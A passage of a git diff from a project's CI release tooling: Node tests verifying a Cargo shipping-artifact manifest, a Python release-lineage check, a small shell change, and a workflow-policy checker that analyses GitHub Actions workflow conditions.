+ workspaceRoot: input.root, + }), + /forbidden feature codestory-retrieval\/test-support/u, + ); +}); + +test("rejects runtime benchmark or test support in the shipping graph", async (t) => { + for (const feature of ["benchmark-support", "test-support"]) { + await t.test(feature, () => { + const input = fixture(); + featureMessage(input, "codestory-runtime").features = [feature]; + refreshCargoJson(input); + + assert.throws( + () => + assertShippingFeatureContract({ + jsonLines: input.jsonLines, + workspaceRoot: input.root, + }), + new RegExp(`forbidden feature codestory-runtime/${feature}`, "u"), + ); + }); + } +}); + +test("rejects any test or benchmark target mixed into the shipping build", () => { + const input = fixture(); + input.messages.splice(-1, 0, { + reason: "compiler-artifact", + package_id: "registry+https://example.invalid/index#probe@1.0.0", + target: { + kind: ["test"], + name: "probe", + }, + profile: { + test: true, + }, + features: [], + }); + refreshCargoJson(input); + + assert.throws( + () => + assertShippingFeatureContract({ + jsonLines: input.jsonLines, + workspaceRoot: input.root, + }), + /shipping Cargo graph emitted a test or benchmark target: probe:probe/u, + ); +}); + +test("requires one successful Cargo build completion", () => { + const input = fixture(); + input.messages.at(-1).success = false; + refreshCargoJson(input); + + assert.throws( + () => + assertShippingFeatureContract({ + jsonLines: input.jsonLines, + workspaceRoot: input.root, + }), + /shipping Cargo message stream did not finish successfully/u, + ); +}); + +test("exposes the feature contract through the command-line helper", () => { + const input = fixture(); + const jsonFile = path.join(input.root, "cargo.jsonl"); + fs.writeFileSync(jsonFile, input.jsonLines); + + const accepted = spawnSync( + process.execPath, + [ + SCRIPT, + "features", + "--input", + jsonFile, + "--workspace-root", + input.root, + ], + { encoding: "utf8" }, + ); + assert.equal(accepted.status, 0, accepted.stderr); + + featureMessage(input, "codestory-runtime").features = ["benchmark-support"]; + refreshCargoJson(input); + fs.writeFileSync(jsonFile, input.jsonLines); + const rejected = spawnSync( + process.execPath, + [ + SCRIPT, + "features", + "--input", + jsonFile, + "--workspace-root", + input.root, + ], + { encoding: "utf8" }, + ); + assert.equal(rejected.status, 1); + assert.match( + rejected.stderr, + /forbidden feature codestory-runtime\/benchmark-support/u, + ); +}); + +test("rejects duplicate compiler artifacts instead of choosing one by path order", () => { + const input = fixture(); + input.jsonLines = [...input.messages, input.messages[1]] + .map((message) => JSON.stringify(message)) + .join("\n"); + + assert.throws( + () => build(input), + /must emit exactly one production binary codestory-cli:codestory-cli; found 2/u, + ); +}); + +test("rejects a fresh Cargo artifact from a prior build invocation", () => { + const input = fixture(); + input.messages[1].fresh = true; + input.jsonLines = input.messages.map((message) => JSON.stringify(message)).join("\n"); + + assert.throws( + () => build(input), + /not produced by the exact build invocation/u, + ); +}); + +test("rejects debug-profile output even when the target name matches", () => { + const input = fixture(); + input.messages[1].profile.debug_assertions = true; + input.messages[1].profile.opt_level = "0"; + input.jsonLines = input.messages.map((message) => JSON.stringify(message)).join("\n"); + + assert.throws(() => build(input), /not built with the release profile/u); +}); + +test("rejects a production binary actually built with the test profile", () => { + const input = fixture(); + input.messages[1].profile.test = true; + refreshCargoJson(input); + + assert.throws( + () => build(input), + /shipping Cargo graph emitted a test or benchmark target/u, + ); +}); + +test("rejects an expanded Cargo target kind instead of accepting a partial match", () => { + const input = fixture(); + input.messages[1].target.kind = ["bin", "test"]; + refreshCargoJson(input); + + assert.throws( + () => build(input), + /shipping Cargo graph emitted a test or benchmark target/u, + ); +}); + +test("rejects a renamed Cargo target instead of substituting another binary", () => { + const input = fixture(); + input.messages[1].target.name = "codestory-cli-shadow"; + refreshCargoJson(input); + + assert.throws( + () => build(input), + /must emit exactly one production binary codestory-cli:codestory-cli; found 0/u, + ); +}); + +test("rejects an executable emitted outside the exact target release directory", () => { + const input = fixture(); + const stale = path.join(input.root, "debug", "codestory-cli.exe"); + fs.mkdirSync(path.dirname(stale), { recursive: true }); + fs.writeFileSync(stale, "stale debug cli"); + input.messages[1].executable = stale; + input.messages[1].filenames = [stale]; + input.jsonLines = input.messages.map((message) => JSON.stringify(message)).join("\n"); + + assert.throws( + () => build(input), + /escaped the exact target release directory/u, + ); +}); + +test("rejects a release-path executable hardlinked to another build graph", () => { + const input = fixture(); + const releaseCli = input.artifacts[0].executable; + const debugCli = path.join(input.targetDir, RUST_TARGET, "debug", "codestory-cli.exe"); + fs.mkdirSync(path.dirname(debugCli), { recursive: true }); + fs.writeFileSync(debugCli, input.artifacts[0].contents); + fs.unlinkSync(releaseCli); + fs.linkSync(debugCli, releaseCli); + + assert.throws( + () => build(input), + /not exactly the release-root executable and one release\/deps peer/u, + ); +}); + +test("rejects a release-root executable hardlinked outside the release graph", () => { + const input = fixture(); + const external = path.join(input.root, "foreign", "codestory-cli.exe"); + fs.mkdirSync(path.dirname(external), { recursive: true }); + fs.linkSync(input.artifacts[0].executable, external); + + assert.throws( + () => build(input), + /not exactly the release-root executable and one release\/deps peer/u, + ); +}); + +test("rejects a release-root executable hardlinked into another target graph", () => { + const input = fixture(); + const otherTarget = path.join( + input.targetDir, + "aarch64-pc-windows-msvc", + "release", + "deps", + "codestory-cli.exe", + ); + fs.mkdirSync(path.dirname(otherTarget), { recursive: true }); + fs.linkSync(input.artifacts[0].executable, otherTarget); + + assert.throws( + () => build(input), + /not exactly the release-root executable and one release\/deps peer/u, + ); +}); + +test("rejects a non-executable hardlink posing as Cargo's release/deps peer", () => { + const input = fixture(); + addCargoBinPeer(input, "cli", "codestory-cli.pdb"); + + assert.throws( + () => build(input), + /not exactly the release-root executable and one release\/deps peer/u, + ); +}); + +test("rejects an arbitrary executable name posing as Cargo's release/deps peer", () => { + const input = fixture(); + addCargoBinPeer(input, "cli", "evil.exe"); + + assert.throws( + () => build(input), + /not exactly the release-root executable and one release\/deps peer/u, + ); +}); + +test("rejects the release-root spelling where Cargo uses a normalized deps peer", () => { + const input = fixture(); + addCargoBinPeer(input, "cli", "codestory-cli.exe"); + + assert.throws( + () => build(input), + /not exactly the release-root executable and one release\/deps peer/u, + ); +}); + +test("rejects bytes changed after Cargo emitted the authenticated executable", () => { + const { input, manifest } = build(); + fs.appendFileSync(input.artifacts[0].executable, "mutated"); + + assert.throws( + () => + verifyCargoArtifactManifest({ + exactSha: SOURCE_SHA, + exactTree: SOURCE_TREE, + manifest, + rustTarget: RUST_TARGET, + workspaceRoot: input.root, + }), + /no longer matches its authenticated build output/u, + ); +}); + +test("rejects a hardlink added after Cargo artifact selection", () => { + const { input, manifest } = build(); + const alias = path.join(input.root, "cross-graph-cli.exe"); + fs.linkSync(input.artifacts[0].executable, alias); + + assert.throws( + () => + verify(input, manifest), + /not exactly the release-root executable and one release\/deps peer/u, + ); +}); + +test("rejects a third hardlink added after selecting Cargo's root and deps pair", () => { + const input = fixture(); + addCargoBinPeer(input, "cli"); + const { manifest } = build(input); + fs.linkSync( + input.artifacts[0].executable, + path.join(input.root, "cross-graph-cli.exe"), + ); + + assert.throws( + () => verify(input, manifest), + /unsupported native hardlink count 3/u, + ); +}); + +test("rejects an identical-byte replacement of Cargo's recorded deps peer", () => { + const input = fixture(); + const peer = addCargoBinPeer(input, "cli"); + const { manifest } = build(input); + fs.unlinkSync(peer); + fs.writeFileSync(peer, input.artifacts[0].contents); + + assert.throws( + () => verify(input, manifest), + /no longer matches its authenticated native links/u, + ); +}); + +test("rejects an identical-byte replacement of the selected release-root executable", () => { + const input = fixture(); + addCargoBinPeer(input, "cli"); + const { manifest } = build(input); + fs.unlinkSync(input.artifacts[0].executable); + fs.writeFileSync(input.artifacts[0].executable, input.artifacts[0].contents); + + assert.throws( + () => verify(input, manifest), + /no longer matches its authenticated native links/u, + ); +}); + +test("rejects an identical-byte replacement of both recorded hardlink paths", () => { + const input = fixture(); + const selected = input.artifacts[0].executable; + const peer = addCargoBinPeer(input, "cli"); + const { manifest } = build(input); + const replacementRoot = path.join(input.releaseDir, "replacement.exe"); + const replacementPeer = path.join(input.releaseDir, "deps", "replacement.exe"); + fs.writeFileSync(replacementRoot, input.artifacts[0].contents); + fs.linkSync(replacementRoot, replacementPeer); + const replacementIdentity = fs.lstatSync(replacementRoot, { bigint: true }); + assert.notEqual( + replacementIdentity.ino.toString(), + manifest.artifacts.cli.native_links.inode, + ); + fs.unlinkSync(selected); + fs.unlinkSync(peer); + fs.renameSync(replacementRoot, selected); + fs.renameSync(replacementPeer, peer); + + assert.throws( + () => verify(input, manifest), + /no longer matches its authenticated native links/u, + ); +}); + +test("rejects manifest native-link topology changed from deps to another graph", () => { + const input = fixture(); + addCargoBinPeer(input, "cli"); + const { manifest } = build(input); + manifest.artifacts.cli.native_links.paths[1] = "../debug/codestory-cli.exe"; + + assert.throws( + () => verify(input, manifest), + /native links cli values changed/u, + ); +}); + +test("rejects a manifest from another exact source SHA", () => { + const { input, manifest } = build(); + + assert.throws( + () => + verifyCargoArtifactManifest({ + exactSha: "c".repeat(40), + exactTree: SOURCE_TREE, + manifest, + rustTarget: RUST_TARGET, + workspaceRoot: input.root, + }), + /source identity does not match the exact checkout/u, + ); +}); + +test("rejects a manifest that drops one required release-graph artifact", () => { + const { input, manifest } = build(); + delete manifest.artifacts.cli; + + assert.throws( + () => + verifyCargoArtifactManifest({ + exactSha: SOURCE_SHA, + exactTree: SOURCE_TREE, + manifest, + rustTarget: RUST_TARGET, + workspaceRoot: input.root, + }), + /artifact manifest release graph changed/u, + ); +}); + +test("rejects malformed Cargo JSON rather than silently dropping an artifact line", () => { + const input = fixture(); + input.jsonLines = `${input.jsonLines}\nnot-json`; + + assert.throws( + () => build(input), + /Cargo JSON output line .* is not valid JSON/u, + ); +}); diff --git a/.github/scripts/check-calibration-release-lineage.py b/.github/scripts/check-calibration-release-lineage.py new file mode 100644 index 000000000..149676663 --- /dev/null +++ b/.github/scripts/check-calibration-release-lineage.py @@ -0,0 +1,57 @@ +#!/usr/bin/env python3 +"""Fail a release whose source tree was not the calibrated frozen tree.""" + +from __future__ import annotations + +import argparse +import json +import subprocess +import sys +from pathlib import Path + +from packaged_agent_proof.calibration_lineage import ( + verify_release_head_calibration_lineage, +) +from packaged_agent_proof.foundation import ProofFailure + + +def main() -> int: + parser = argparse.ArgumentParser( + description=( + "Verify that the exact release head differs from the calibrated " + "source only by the frozen constant-set file." + ) + ) + parser.add_argument("--repo", required=True, type=Path) + parser.add_argument("--expected-sha", required=True) + parser.add_argument( + "--allow-promotion-commit", + action="store_true", + help=( + "Permit one tree-preserving main promotion commit whose release " + "parent is the direct constant-freeze child." + ), + ) + arguments = parser.parse_args() + + repository_root = arguments.repo.resolve(strict=True) + result = verify_release_head_calibration_lineage( + repository_root, + arguments.expected_sha, + allow_promotion_commit=arguments.allow_promotion_commit, + ) + print(json.dumps({"status": "passed", **result}, sort_keys=True)) + return 0 + + +if __name__ == "__main__": + try: + raise SystemExit(main()) + except ( + ProofFailure, + subprocess.TimeoutExpired, + OSError, + json.JSONDecodeError, + ) as exc: + print(f"calibration release lineage failed: {exc}", file=sys.stderr) + raise SystemExit(1) diff --git a/.github/scripts/check-linux-glibc-baseline.sh b/.github/scripts/check-linux-glibc-baseline.sh index 6aa9118af..348069e17 100755 --- a/.github/scripts/check-linux-glibc-baseline.sh +++ b/.github/scripts/check-linux-glibc-baseline.sh @@ -44,7 +44,7 @@ grep -Eiq 'usage:' "$out_dir/help.stdout.txt" initialize='{"jsonrpc":"2.0","id":"initialize","method":"initialize","params":{"protocolVersion":"2024-11-05","capabilities":{},"clientInfo":{"name":"glibc-baseline-proof","version":"1.0.0"}}}' set +e printf '%s\n' "$initialize" | CODESTORY_CACHE_ROOT="$out_dir/cache" \ - CODESTORY_EMBED_ALLOW_CPU=1 timeout 30s \ + CODESTORY_EMBED_ALLOW_CPU=0 timeout 30s \ "$cli" serve --stdio --refresh none --project /workspace \ > "$out_dir/stdio-initialize.stdout.txt" 2> "$out_dir/stdio-initialize.stderr.txt" stdio_status=${PIPESTATUS[1]} diff --git a/.github/scripts/check-workflow-policy.mjs b/.github/scripts/check-workflow-policy.mjs index ceec858e6..7b383e0a9 100644 --- a/.github/scripts/check-workflow-policy.mjs +++ b/.github/scripts/check-workflow-policy.mjs @@ -5,10 +5,30 @@ import path from "node:path"; import { fileURLToPath } from "node:url"; import { LineCounter, parseDocument } from "yaml"; import { loadReleaseClaimGraph } from "../../scripts/codestory-release-claims.mjs"; +import { + LOST_RUNNER_ANNOTATION, + MAXIMUM_RUN_ATTEMPTS, +} from "./lost-runner-recovery.mjs"; const workflowRoot = path.join(".github", "workflows"); const retrievalFile = "retrieval-engine-smoke.yml"; const repositoryRoot = path.resolve(path.dirname(fileURLToPath(import.meta.url)), "../.."); +const retrievalGeneralizationSuiteFile = path.join( + "scripts", + "tests", + "lint-retrieval-generalization.test.mjs", +); +const legacyRetrievalGeneralizationWrapper = path.join( + "crates", + "codestory-runtime", + "tests", + "retrieval_generalization_guard.rs", +); +const runtimeIntegrationTestRoot = path.join( + "crates", + "codestory-runtime", + "tests", +); const trustedActionOwners = new Set(["actions", "github"]); const fullSha = /^[0-9a-f]{40}$/iu; const sccacheAction = "mozilla-actions/sccache-action@9e7fa8a12102821edf02ca5dbea1acd0f89a2696"; @@ -20,6 +40,284 @@ const windowsSccacheCacheSize = "2G"; export { retrievalFile }; +function tomlSection(source, section) { + const header = `[${section}]`; + const start = source.indexOf(`${header}\n`); + if (start < 0) return null; + const bodyStart = start + header.length + 1; + const next = source.slice(bodyStart).search(/^\[[^\]]+\]\s*$/mu); + return next < 0 + ? source.slice(bodyStart) + : source.slice(bodyStart, bodyStart + next); +} + +export function benchmarkDependencyIsolationViolations(source) { + const violations = []; + const dependencies = tomlSection(source, "dependencies"); + const devDependencies = tomlSection(source, "dev-dependencies"); + if (dependencies === null || devDependencies === null) { + return ["codestory-bench must separate product-driver and benchmark dependencies"]; + } + const benchmarkOnly = [ + "codestory-cli", + "codestory-contracts", + "codestory-indexer", + "codestory-runtime", + "codestory-store", + "criterion", + "uuid", + ]; + const dependencyNames = new Set( + [...dependencies.matchAll(/^([A-Za-z0-9_-]+)\s*=/gmu)] + .map((match) => match[1]), + ); + const devDependencyNames = new Set( + [...devDependencies.matchAll(/^([A-Za-z0-9_-]+)\s*=/gmu)] + .map((match) => match[1]), + ); + add( + violations, + benchmarkOnly.every( + (name) => !dependencyNames.has(name) && devDependencyNames.has(name), + ), + "codestory-bench benchmark-only dependencies must not enter packaged qualification binaries", + ); + add( + violations, + /^codestory-runtime\s*=\s*\{\s*workspace\s*=\s*true,\s*features\s*=\s*\["benchmark-support"\]\s*\}\s*$/mu + .test(devDependencies) + && !/\b(?:benchmark-support|test-support)\b/u.test(dependencies), + "codestory-bench product dependencies must not enable benchmark-support or test-support", + ); + return violations; +} + +export function rustRetrievalWrapperSourcePresent(source) { + return ( + /lint-retrieval-generalization|retrieval[_-]generalization[_-](?:guard|lint)/u + .test(source) + || /\b(?:std|tokio|async_std)::process\b|\bprocess::Command\b|\bCommand\s*::\s*(?:new|from)\s*\(|\b(?:assert_cmd|duct|xshell)\b/u + .test(source) + ); +} + +function serializedRustRetrievalWrapperPresent() { + const root = path.join(repositoryRoot, runtimeIntegrationTestRoot); + if (!fs.existsSync(root)) return false; + const pending = [root]; + while (pending.length > 0) { + const current = pending.pop(); + for (const entry of fs.readdirSync(current, { withFileTypes: true })) { + const entryPath = path.join(current, entry.name); + if (entry.isDirectory()) { + pending.push(entryPath); + } else if (entry.name.endsWith(".rs")) { + const source = fs.readFileSync(entryPath, "utf8"); + if (rustRetrievalWrapperSourcePresent(source)) { + return true; + } + } + } + } + return false; +} + +export function retrievalGeneralizationSuitePolicyViolations( + source, + { + legacyWrapperPresent = false, + } = {}, +) { + const violations = []; + const invocationCount = source.match(/\brunRetrievalGeneralizationLint\s*\(/gu)?.length ?? 0; + const lintReferenceCount = + source.match(/\brunRetrievalGeneralizationLint\b/gu)?.length ?? 0; + const checkoutDigestCount = source.match(/\btreeDigest\(repositoryRoot\)/gu)?.length ?? 0; + const repositoryRootReferenceCount = source.match(/\brepositoryRoot\b/gu)?.length ?? 0; + const fixtureRootReferenceCount = source.match(/\bfixtureRoot\b/gu)?.length ?? 0; + const productionRepositoryRootReferenceCount = + source.match(/\bproductionRepositoryRoot\b/gu)?.length ?? 0; + const temporaryRootCount = source.match(/\bos\.tmpdir\(\)/gu)?.length ?? 0; + const temporaryTreeCount = source.match(/\bfs\.mkdtempSync\s*\(/gu)?.length ?? 0; + const dynamicImportCount = source.match(/\bimport\s*\(/gu)?.length ?? 0; + const fsReferenceCount = source.match(/\bfs\b/gu)?.length ?? 0; + const filesystemMemberReferences = [...source.matchAll( + /\bfs\.([A-Za-z_$][\w$]*)\b/gu, + )].map((match) => match[1]); + const expectedFilesystemMemberCounts = { + existsSync: 1, + mkdirSync: 6, + mkdtempSync: 1, + readFileSync: 4, + readdirSync: 4, + readlinkSync: 1, + rmSync: 1, + writeFileSync: 1, + }; + const filesystemMemberCounts = new Map(); + for (const name of filesystemMemberReferences) { + filesystemMemberCounts.set( + name, + (filesystemMemberCounts.get(name) ?? 0) + 1, + ); + } + const fixtureFilesystemShapeIsExact = + fsReferenceCount === 21 + && filesystemMemberReferences.length === 19 + && Object.entries(expectedFilesystemMemberCounts).every( + ([name, count]) => (filesystemMemberCounts.get(name) ?? 0) === count, + ) + && [ + "const destination = path.join(root, relativePath);", + "fs.mkdirSync(path.dirname(destination), { recursive: true });", + "fs.writeFileSync(destination, contents);", + "fs.mkdirSync(rustRoot, { recursive: true });", + "fs.mkdirSync(retrievalRoot, { recursive: true });", + "fs.mkdirSync(extraRustRoot);", + "fs.mkdirSync(nonRustRoot);", + "fs.mkdirSync(taskRoot);", + "fs.rmSync(fixtureRoot, { recursive: true, force: true });", + ].every((fragment) => source.includes(fragment)); + const writeReferenceCount = source.match(/\bwrite\b/gu)?.length ?? 0; + const writeFirstArguments = [...source.matchAll( + /\bwrite\s*\(\s*([A-Za-z_$][\w$]*)/gu, + )].map((match) => match[1]); + const registeredWriteRoots = new Set([ + "root", + "rustRoot", + "retrievalRoot", + "extraRustRoot", + "nonRustRoot", + "taskRoot", + ]); + const syntheticWritesStayInRegisteredRoots = + writeReferenceCount === 14 + && writeFirstArguments.length === writeReferenceCount + && writeFirstArguments.every((root) => registeredWriteRoots.has(root)); + const fixturePathReferenceShapeIsExact = + repositoryRootReferenceCount === 12 + && fixtureRootReferenceCount === 10 + && productionRepositoryRootReferenceCount === 4; + const protectedRetrievalWorkflow = `.github/workflows/${retrievalFile}`; + const retainedDynamicImportFixtures = [ + "await import(harness);", + String.raw`await import(\"${protectedRetrievalWorkflow}\");`, + `await import("${protectedRetrievalWorkflow}");`, + ]; + const importSpecifiers = [...source.matchAll( + /^\s*import\s+(?:[\s\S]*?\s+from\s+)?["']([^"']+)["'];\s*$/gmu, + )].map((match) => match[1]); + const allowedImports = [ + "node:assert/strict", + "node:crypto", + "node:fs", + "node:os", + "node:path", + "node:test", + "node:url", + "../lib/retrieval-generalization-lint.mjs", + ]; + const forbiddenConcurrencySurface = [ + /(?:node:)?child_process/u, + /(?:node:)?worker_threads/u, + /(?:node:)?cluster/u, + /\b(?:createRequire|getBuiltinModule)\b/u, + /\bprocess\s*\[/u, + /\bprocess\.(?:binding|_linkedBinding)\s*\(/u, + /\b(?:Function|eval)\s*\(/u, + /\bglobalThis\b/u, + /\bReflect\.(?:apply|construct|get)\b/u, + /\bmodule\s*\.\s*(?:constructor|createRequire)\b/u, + /\bWebAssembly\b/u, + /\brequire\s*\(/u, + /\bBun\.(?:spawn|spawnSync)\b/u, + /\bDeno\.Command\b/u, + ].some((pattern) => pattern.test(source)); + const forbiddenLockSurface = [ + /\b(?:flock|lock_exclusive|try_lock_exclusive|proper-lockfile)\b/iu, + /\bopenSync\s*\(/u, + /\bAtomics\.wait(?:Async)?\s*\(/u, + /\b(?:fs|os)\s*\[/u, + /retrieval-generalization(?:-guard)?\.lock/iu, + /process\.env\.(?:RUNNER_TEMP|TEMP|TMP|TMPDIR)\b/u, + /["']\/tmp(?:\/|["'])/u, + ].some((pattern) => pattern.test(source)); + + add( + violations, + !legacyWrapperPresent, + `${legacyRetrievalGeneralizationWrapper} must stay deleted so workspace nextest cannot rediscover the serialized Rust wrapper`, + ); + add( + violations, + invocationCount === 1 && lintReferenceCount === 2, + `${retrievalGeneralizationSuiteFile} must execute the hostile fixture matrix through one in-process lint invocation`, + ); + add( + violations, + !forbiddenConcurrencySurface + && dynamicImportCount === retainedDynamicImportFixtures.length + && retainedDynamicImportFixtures.every((fixture) => source.includes(fixture)) + && importSpecifiers.length === allowedImports.length + && sameMembers(importSpecifiers, allowedImports), + `${retrievalGeneralizationSuiteFile} must not create subprocesses, workers, or clusters for hostile fixtures`, + ); + add( + violations, + !forbiddenLockSurface, + `${retrievalGeneralizationSuiteFile} must not restore a global or cross-process fixture lock`, + ); + add( + violations, + fixtureFilesystemShapeIsExact + && syntheticWritesStayInRegisteredRoots + && fixturePathReferenceShapeIsExact + && !/\bfs\.promises\b/u.test(source), + `${retrievalGeneralizationSuiteFile} must confine every filesystem mutation to registered roots in its one synthetic fixture tree`, + ); + add( + violations, + source.includes( + 'fs.mkdtempSync(path.join(os.tmpdir(), "codestory-generalization-"))', + ) + && temporaryRootCount === 1 + && temporaryTreeCount === 1 + && source.includes( + 'assert.ok(\n path.relative(repositoryRoot, fixtureRoot).startsWith(".."),', + ) + && source.includes("const productionRepositoryRoot = path.join(\n fixtureRoot,") + && source.includes("const extraRustRoot = path.join(fixtureRoot,") + && source.includes("const nonRustRoot = path.join(fixtureRoot,") + && source.includes("const taskRoot = path.join(fixtureRoot,"), + `${retrievalGeneralizationSuiteFile} must keep every mutable hostile fixture under one temporary tree outside the checkout`, + ); + add( + violations, + checkoutDigestCount === 2 + && source.includes("const checkoutBefore = treeDigest(repositoryRoot);") + && source.includes( + "assert.equal(\n treeDigest(repositoryRoot),\n checkoutBefore,", + ) + && source.includes( + '"lint changed the whole checkout tree, including tracked bytes or untracked paths"', + ), + `${retrievalGeneralizationSuiteFile} must prove the real checkout is byte-for-byte read-only`, + ); + add( + violations, + source.includes("structuralScanRoots: [rustRoot, extraRustRoot],") + && source.includes("CODESTORY_RETRIEVAL_GENERALIZATION_EXTRA_SCAN_ROOTS: extraRustRoot,") + && source.includes("CODESTORY_RETRIEVAL_GENERALIZATION_EXTRA_TASK_ROOTS: taskRoot,"), + `${retrievalGeneralizationSuiteFile} must register every additive hostile fixture root in the single lint invocation`, + ); + add( + violations, + source.includes("fs.rmSync(fixtureRoot, { recursive: true, force: true });"), + `${retrievalGeneralizationSuiteFile} must remove its isolated fixture tree after the matrix`, + ); + return violations; +} + function object(value) { return value !== null && typeof value === "object" && !Array.isArray(value) ? value : {}; } @@ -38,6 +336,29 @@ function at(value, ...keys) { return current; } +function canonicalJson(value) { + if (Array.isArray(value)) { + return `[${value.map(canonicalJson).join(",")}]`; + } + if (value !== null && typeof value === "object") { + return `{${Object.keys(value) + .sort() + .map(key => `${JSON.stringify(key)}:${canonicalJson(value[key])}`) + .join(",")}}`; + } + return JSON.stringify(value); +} + +// A parsed job is not its complete execution contract. Workflow-level environment and run +// defaults execute inside every job, while triggers, permissions, concurrency, and future +// top-level fields can change when or with what authority it runs. Hash the entire parsed +// workflow except `jobs`; the acceptance manifest hashes those bodies separately. +function workflowExecutionContext(workflowValue) { + return Object.fromEntries( + Object.entries(object(workflowValue)).filter(([key]) => key !== "jobs"), + ); +} + function scalarStrings(value, found = []) { if (typeof value === "string") { found.push(value); @@ -81,6 +402,26 @@ function executableRunText(run) { .join("\n"); } +// Shell concatenates adjacent quoted and unquoted literal fragments before it +// dispatches a command: `cpu_"explicit"` is the exact `cpu_explicit` argument +// and `"c"pu` is `cpu`. Policy checks must inspect that executable spelling, +// not the source-level quote placement an evasion chose. +function shellLiteralNormalizedText(run) { + return executableRunText(String(run ?? "")).replaceAll(/['"]/gu, ""); +} + +function hasNonLiteralCpuAssignment(value) { + const normalized = shellLiteralNormalizedText(value); + return [...normalized.matchAll( + /\bCODESTORY_EMBED_ALLOW_CPU\s*=\s*([^\s;&|]+)/giu, + )].some(([, assigned]) => assigned !== "0"); +} + +function hasShellLoop(run) { + return /(?:^|[;\n])\s*(?:for|select|until|while)\b/imu + .test(shellLiteralNormalizedText(run)); +} + function add(violations, condition, message) { if (!condition) violations.push(message); } @@ -112,10 +453,242 @@ function occurrenceCount(value, fragment) { return value.split(fragment).length - 1; } -function requireNoCalibrationReferences(violations, file, workflow) { +// A backslash-continued shell command is one logical invocation. Asserting a +// flag appears "somewhere after" an anchor is defeatable by parking the flag on +// a later decoy line, so every invocation-level pin below reads the single +// logical command that carries its anchor. +function shellInvocationsContaining(run, anchor) { + const commands = []; + let current = []; + for (const line of executableRunText(run).split(/\r?\n/u)) { + current.push(line); + if (!/\\\s*$/u.test(line)) { + commands.push(current.join("\n")); + current = []; + } + } + if (current.length > 0) commands.push(current.join("\n")); + return commands.filter(command => command.includes(anchor)); +} + +function jobShellInvocationsContaining(job, anchor) { + return list(job?.steps).flatMap(step => + shellInvocationsContaining( + shellLiteralNormalizedText(object(step).run), + shellLiteralNormalizedText(anchor), + )); +} + +function requireFlagOnInvocation(violations, message, run, anchor, flag) { + const invocations = shellInvocationsContaining(run, anchor); + add( + violations, + invocations.length === 1 + && invocations[0].includes(flag) + && occurrenceCount(executableRunText(run), flag) === 1, + message, + ); +} + +// --------------------------------------------------------------------------- +// Reachability of a guarded step. +// +// A policy that only asserts a flag is present proves nothing when the step +// carrying it cannot run: that is exactly how the calibration freeze lineage +// guard sat "enabled" on a branch gated behind an input every caller pinned +// empty. The helpers below evaluate a step's own `if` against the input +// bindings a named caller actually passes, so making the step unreachable -- +// by narrowing the condition or by stopping the caller forwarding what it +// reads -- is a policy violation rather than a silent regression. +const conditionTokenPattern = /^(&&|\|\||!=|==|!|\(|\)|'[^']*'|[A-Za-z_][A-Za-z0-9_.-]*)/u; + +function tokenizeCondition(expression) { + const tokens = []; + let rest = String(expression).replace(/\s+/gu, " ").trim(); + while (rest.length > 0) { + const match = rest.match(conditionTokenPattern); + if (!match) { + throw new Error(`unsupported condition syntax near ${JSON.stringify(rest)}`); + } + tokens.push(match[1]); + rest = rest.slice(match[1].length).trimStart(); + } + return tokens; +} + +function conditionTruthy(value) { + return typeof value === "string" ? value !== "" : Boolean(value); +} + +function evaluateCondition(expression, lookup) { + const tokens = tokenizeCondition(expression); + let position = 0; + const peek = () => tokens[position]; + const take = () => tokens[position++]; + function primary() { + const token = take(); + if (token === undefined) throw new Error("condition ended early"); + if (token === "(") { + const value = disjunction(); + if (take() !== ")") throw new Error("unbalanced condition parentheses"); + return value; + } + if (token === "!") return !conditionTruthy(primary()); + if (token === "true") return true; + if (token === "false") return false; + if (token.startsWith("'")) return token.slice(1, -1); + return lookup(token); + } + function comparison() { + const left = primary(); + if (peek() === "==" || peek() === "!=") { + const operator = take(); + const right = primary(); + return operator === "==" ? left === right : left !== right; + } + return left; + } + function conjunction() { + let value = comparison(); + while (peek() === "&&") { + take(); + const right = comparison(); + value = conditionTruthy(value) ? right : value; + } + return value; + } + function disjunction() { + let value = conjunction(); + while (peek() === "||") { + take(); + const right = conjunction(); + value = conditionTruthy(value) ? value : right; + } + return value; + } + const result = disjunction(); + if (position !== tokens.length) throw new Error("trailing condition tokens"); + return conditionTruthy(result); +} + +function calleeInputSpecifications(workflow) { + const declared = object(at(workflow, "on", "workflow_call", "inputs")); + const specifications = new Map(); + for (const [name, raw] of Object.entries(declared)) { + const specification = object(raw); + const boolean = specification.type === "boolean"; + specifications.set(name, { + boolean, + default: specification.default ?? (boolean ? false : ""), + }); + } + return specifications; +} + +const dispatchForwardedPattern + = /^\$\{\{\s*inputs\.([A-Za-z_][A-Za-z0-9_-]*)\s*\|\|\s*''\s*\}\}$/u; + +// Classify what a caller can make each callee input be. A literal is fixed for +// every run of that caller; a dispatch input forwarded verbatim is chosen by +// whoever dispatches; anything else is treated as free so this check never +// invents reachability the caller cannot actually deliver. +function callerInputBindings(callerWorkflow, callerJob, specifications) { + const supplied = object(callerJob.with); + const dispatchInputs = object(at(callerWorkflow, "on", "workflow_dispatch", "inputs")); + const bindings = new Map(); + for (const [name, specification] of specifications) { + const domain = specification.boolean ? [true, false] : ["", "supplied-by-dispatch"]; + if (!(name in supplied)) { + bindings.set(name, { fixed: true, values: [specification.default] }); + continue; + } + const value = supplied[name]; + if (typeof value !== "string") { + bindings.set(name, { fixed: true, values: [value] }); + continue; + } + if (!value.includes("${{")) { + bindings.set(name, { fixed: true, values: [value] }); + continue; + } + const forwarded = value.match(dispatchForwardedPattern); + if (forwarded !== null && forwarded[1] in dispatchInputs) { + bindings.set(name, { fixed: false, values: domain }); + continue; + } + bindings.set(name, { fixed: false, values: domain }); + } + return bindings; +} + +// Enumerate every value the named caller can produce for the identifiers the +// condition reads, and report whether any of them makes the step run. +function conditionIsSatisfiable(condition, bindings, extraDomains) { + let identifiers; + try { + identifiers = [...new Set(tokenizeCondition(condition).filter(token => + token.includes(".")))]; + } catch { + return { satisfiable: false, reason: "condition syntax is not evaluable" }; + } + const domains = []; + for (const identifier of identifiers) { + if (identifier in extraDomains) { + domains.push([identifier, extraDomains[identifier]]); + continue; + } + if (!identifier.startsWith("inputs.")) { + return { satisfiable: false, reason: `${identifier} is not a caller-bound input` }; + } + const binding = bindings.get(identifier.slice("inputs.".length)); + if (binding === undefined) { + return { satisfiable: false, reason: `${identifier} is not a declared input` }; + } + domains.push([identifier, binding.values]); + } + const assignment = new Map(); + const search = (index) => { + if (index === domains.length) { + try { + return evaluateCondition(condition, name => { + if (!assignment.has(name)) throw new Error(`unbound ${name}`); + return assignment.get(name); + }); + } catch { + return false; + } + } + const [identifier, values] = domains[index]; + for (const value of values) { + assignment.set(identifier, value); + if (search(index + 1)) return true; + } + return false; + }; + return search(0) + 